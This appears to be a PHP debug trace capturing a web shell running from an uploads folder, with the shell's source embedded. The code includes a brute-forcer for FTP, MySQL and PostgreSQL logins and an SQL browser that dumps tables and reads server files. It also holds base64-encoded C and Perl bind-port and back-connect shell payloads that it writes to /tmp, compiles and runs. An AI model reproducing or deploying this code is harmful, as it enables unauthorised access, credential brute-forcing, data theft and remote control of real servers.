\'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t} elseif($_POST[\'type\'] == 2) {\n\t\t\t$temp = @file($_POST[\'dict\']);\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = trim($line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t}\n\t\techo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";\n\t}\n\techo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'\n\t\t.\'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>\'\n\t\t.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'\n\t\t.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'\n\t\t.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'\n\t\t.\'<input type=hidden name=ne  value="">\'\n\t\t.\'<span>Server:port</span></td>\'\n\t\t.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'\n\t\t.\'<tr><td><span>Brute type</span></td>\'\n\t\t.\'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>\'\n\t\t.\'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>\'\n\t\t.\'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>\'\n\t\t.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'\n\t\t.\'<td><input type=text name=login value="root"></td></tr>\'\n\t\t.\'<tr><td><span>Dictionary</span></td>\'\n\t\t.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'\n\t\t.\'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>\';\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionSql() {\n\tclass DbClass {\n\t\tvar $type;\n\t\tvar $link;\n\t\tvar $res;\n\t\tfunction DbClass($type)\t{\n\t\t\t$this->type = $type;\n\t\t}\n\t\tfunction connect($host, $user, $pass, $dbname){\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$host = explode(\':\', $host);\n\t\t\t\t\tif(!$host[1]) $host[1]=5432;\n\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction selectdb($db) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif (@mysql_select_db($db))return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction query($str) {\n\t\t\tswitch($this->type) {\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = @mysql_query($str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction fetch() {\n\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listDbs() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n                        return $this->query("SHOW databases");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listTables() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction error() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_error();\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_last_error();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction setCharset($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\n\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\n\t\t\t\t\telse\n\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction loadFile($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM \'".addslashes($str)."\';select file from hard2;");\n\t\t\t\t\t$r=array();\n\t\t\t\t\twhile($i=$this->fetch())\n\t\t\t\t\t\t$r[] = $i[\'file\'];\n\t\t\t\t\t$this->query(\'drop table hard2\');\n\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction dump($table, $fp = false) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\n\t\t\t\t\t$create = mysql_fetch_array($res);\n\t\t\t\t\t$sql = $create[1].";\\n";\n                    if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\n                    $i = 0;\n                    $head = true;\n\t\t\t\t\twhile($▟ = $this->fetch()) {\n                        $sql = \'\';\n                        if($i % 1000 == 0) {\n                            $head = true;\n                            $sql = ";\\n\\n";\n                        }\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($▟ as $k=>$v) {\n                            if($v === null)\n                                $▟[$k] = "NULL";\n                            elseif(is_int($v))\n                                $▟[$k] = $v;\n                            else\n                                $▟[$k] = "\'".@mysql_real_escape_string($v)."\'";\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\n\t\t\t\t\t\t}\n                        if($head) {\n                            $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $▟).\')\';\n                            $head = false;\n                        } else\n                            $sql .= "\\n\\t,(".implode(", ", $▟).\')\';\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n                        $i++;\n\t\t\t\t\t}\n                    if(!$head)\n                        if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\n\t\t\t\t\twhile($▟ = $this->fetch()) {\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($▟ as $k=>$v) {\n\t\t\t\t\t\t\t$▟[$k] = "\'".addslashes($v)."\'";\n\t\t\t\t\t\t\t$columns[] = $k;\n\t\t\t\t\t\t}\n                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $▟).\');\'."\\n";\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t};\n\t$db = new DbClass($_POST[\'type\']);\n\tif((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\n\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n\t\t$db->selectdb($_POST[\'sql_base\']);\n        switch($_POST[\'charset\']) {\n            case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n            case "UTF-8": $db->setCharset(\'utf8\'); break;\n            case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n            case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n            case "cp866": $db->setCharset(\'cp866\'); break;\n        }\n        if(empty($_POST[\'file\'])) {\n            ob_start("ob_gzhandler", 4096);\n            header("Content-Disposition: attachment; filename=dump.sql");\n            header("Content-Type: text/plain");\n            foreach($_POST[\'tbl\'] as $v)\n\t\t\t\t$db->dump($v);\n            exit;\n        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\n            foreach($_POST[\'tbl\'] as $v)\n                $db->dump($v, $fp);\n            fclose($fp);\n            unset($_POST[\'p2\']);\n        } else\n            die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\n\t}\n\thardHeader();\n\techo "\n<h1>Sql browser</h1><div class=content>\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=ne value=\'\'><input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\n<td><label><select name=\'type\'><option value=\'mysql\' ";\n    if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\necho ">MySql</option><option value=\'pgsql\' ";\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\necho ">PostgreSql</option></select></label></td>\n<td><input type=text name=sql_host value=\\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\\"></td>\n<td><input type=text name=sql_login value=\\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\\"></td>\n<td><input type=text name=sql_pass value=\\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\\" required></td><td>";\n\t$tmp = "<input type=text name=sql_base value=\'\'>";\n\tif(isset($_POST[\'sql_host\'])){\n\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\n\t\t\tswitch($_POST[\'charset\']) {\n\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\n\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\n\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\n\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\n\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\n\t\t\t}\n\t\t\t$db->listDbs();\n\t\t\techo "<label><select name=sql_base><option value=\'\'></option>";\n\t\t\twhile($▟ = $db->fetch()) {\n\t\t\t\tlist($key, $value) = each($▟);\n\t\t\t\techo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\n\t\t\t}\n\t\t\techo \'</select></label>\';\n\t\t}\n\t\telse echo $tmp;\n\t}else\n\t\techo $tmp;\n\techo "</td>\n\t\t\t\t<td><input type=submit value=\'submit\' onclick=\'fs(d.sf);\'></td>\n                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n            s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\n            function fs(f) {\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n                    if(f.p1) f.p1.value=\'\';\n                    if(f.p2) f.p2.value=\'\';\n                    if(f.p3) f.p3.value=\'\';\n                }\n            }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = \'select\';\n\t\t\t\td.sf.p2.value = t;\n                if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\n\t\t\t\t\td.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\n\t\t\t}\n\t\t</script>";\n\tif(isset($db) && $db->link){\n\t\techo "<br/><table width=100% cellpadding=2 cellspacing=0>";\n\t\t\tif(!empty($_POST[\'sql_base\'])){\n\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\n\t\t\t\techo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\n\t\t\t\t$tbls_res = $db->listTables();\n\t\t\t\twhile($▟ = $db->fetch($tbls_res)) {\n\t\t\t\t\tlist($key, $value) = each($▟);\n                    if(!empty($_POST[\'sql_count\']))\n                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\n\t\t\t\t\t$value = htmlspecialchars($value);\n\t\t\t\t\techo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";\n\t\t\t\t}\n\t\t\t\techo "<input type=\'checkbox\' onclick=\'is();\'> <input type=submit value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\n\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\n\t\t\t\t\t$_POST[\'p1\'] = \'query\';\n                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\n\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\n\t\t\t\t\t$num = $db->fetch();\n\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\n                    echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\n                    echo " of $pages";\n                    if($_POST[\'p3\'] > 1)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";\n                    if($_POST[\'p3\'] < $pages)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";\n                    $_POST[\'p3\']--;\n\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\n\t\t\t\t\telse\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\n\t\t\t\t\techo "<br><br>";\n\t\t\t\t}\n\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\n\t\t\t\t\t$db->query(@$_POST[\'p2\']);\n\t\t\t\t\tif($db->res !== false) {\n\t\t\t\t\t\t$title = false;\n\t\t\t\t\t\techo \'<table width=100% cellspacing=1 cellpadding=2 class=main>\';\n\t\t\t\t\t\t$line = 1;\n\t\t\t\t\t\twhile($▟ = $db->fetch())\t{\n\t\t\t\t\t\t\tif(!$title)\t{\n\t\t\t\t\t\t\t\techo \'<tr>\';\n\t\t\t\t\t\t\t\tforeach($▟ as $key => $value)\n\t\t\t\t\t\t\t\t\techo \'<th>\'.$key.\'</th>\';\n\t\t\t\t\t\t\t\treset($▟);\n\t\t\t\t\t\t\t\t$title=true;\n\t\t\t\t\t\t\t\techo \'</tr><tr>\';\n\t\t\t\t\t\t\t\t$line = 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'<tr class="l\'.$line.\'">\';\n\t\t\t\t\t\t\t$line = $line==1?2:1;\n\t\t\t\t\t\t\tforeach($▟ as $key => $value) {\n\t\t\t\t\t\t\t\tif($value == null)\n\t\t\t\t\t\t\t\t\techo \'<td><i>null</i></td>\';\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\techo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'</tr>\';\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \'</table>\';\n\t\t\t\t\t} else {\n\t\t\t\t\t\techo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\techo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\n                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\n                    echo htmlspecialchars($_POST[\'p2\']);\n                echo "</textarea><br/><input type=submit value=\'Execute\'>";\n\t\t\t\techo "</td></tr>";\n\t\t\t}\n\t\t\techo "</table></form><br/>";\n            if($_POST[\'type\']==\'mysql\') {\n                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\n                if($db->fetch())\n                    echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'submit\'></form>";\n            }\n\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\n\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\n\t\t\t\techo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\n\t\t\t}\n\t} else {\n        echo htmlspecialchars($db->error());\n    }\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionNetwork() {\n\thardHeader();\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\n\techo "<h1>Network tools</h1><div class=content>\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'>\n\t<span>Bind port to /bin/sh</span><br/>\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\n\t</form>\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\n\t<span>Back-connect to</span><br/>\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <label><select name=\'using\'><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\n\t</form><br>";\n\tif(isset($_POST[\'p1\'])) {\n\t\tfunction cf($f,$t) {\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\n\t\t\tif($w)\t{\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\n\t\t\t\t@fclose($w);\n\t\t\t}\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpc\') {\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\n\t\t\t$▖ = ex("gcc -o /tmp/bp /tmp/bp.c");\n\t\t\t@unlink("/tmp/bp.c");\n\t\t\t$▖ .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpp\') {\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\n\t\t\t$▖ = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcc\') {\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\n\t\t\t$▖ = ex("gcc -o /tmp/bc /tmp/bc.c");\n\t\t\t@unlink("/tmp/bc.c");\n\t\t\t$▖ .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcp\') {\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";\n\t\t}\n\t}\n\techo \'</div>\';\n\thardFooter();\n}\nif( empty($_POST[\'a\']) )\n\tif(isset($▚) && function_exists(\'action\' . $▚))\n\t\t$_POST[\'a\'] = $▚;\n\telse\n\t\t$_POST[\'a\'] = \'FilesMan\';\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\n\tcall_user_func(\'action\' . $_POST[\'a\']);\n?><?php '	/var/www/html/uploads/B47.php(2) : eval()'d code	1	0
4	21	0	0.010320	1097936	array_key_exists	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	3	2	'watching'	[]
4	21	1	0.010345	1098000
4	21	R			FALSE
3		A						/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	7	$▛ = '21232f297a57a5a743894a0e4a801fc3'
3		A						/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	8	$▘ = TRUE
3		A						/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	9	$▜ = 'UTF-8'
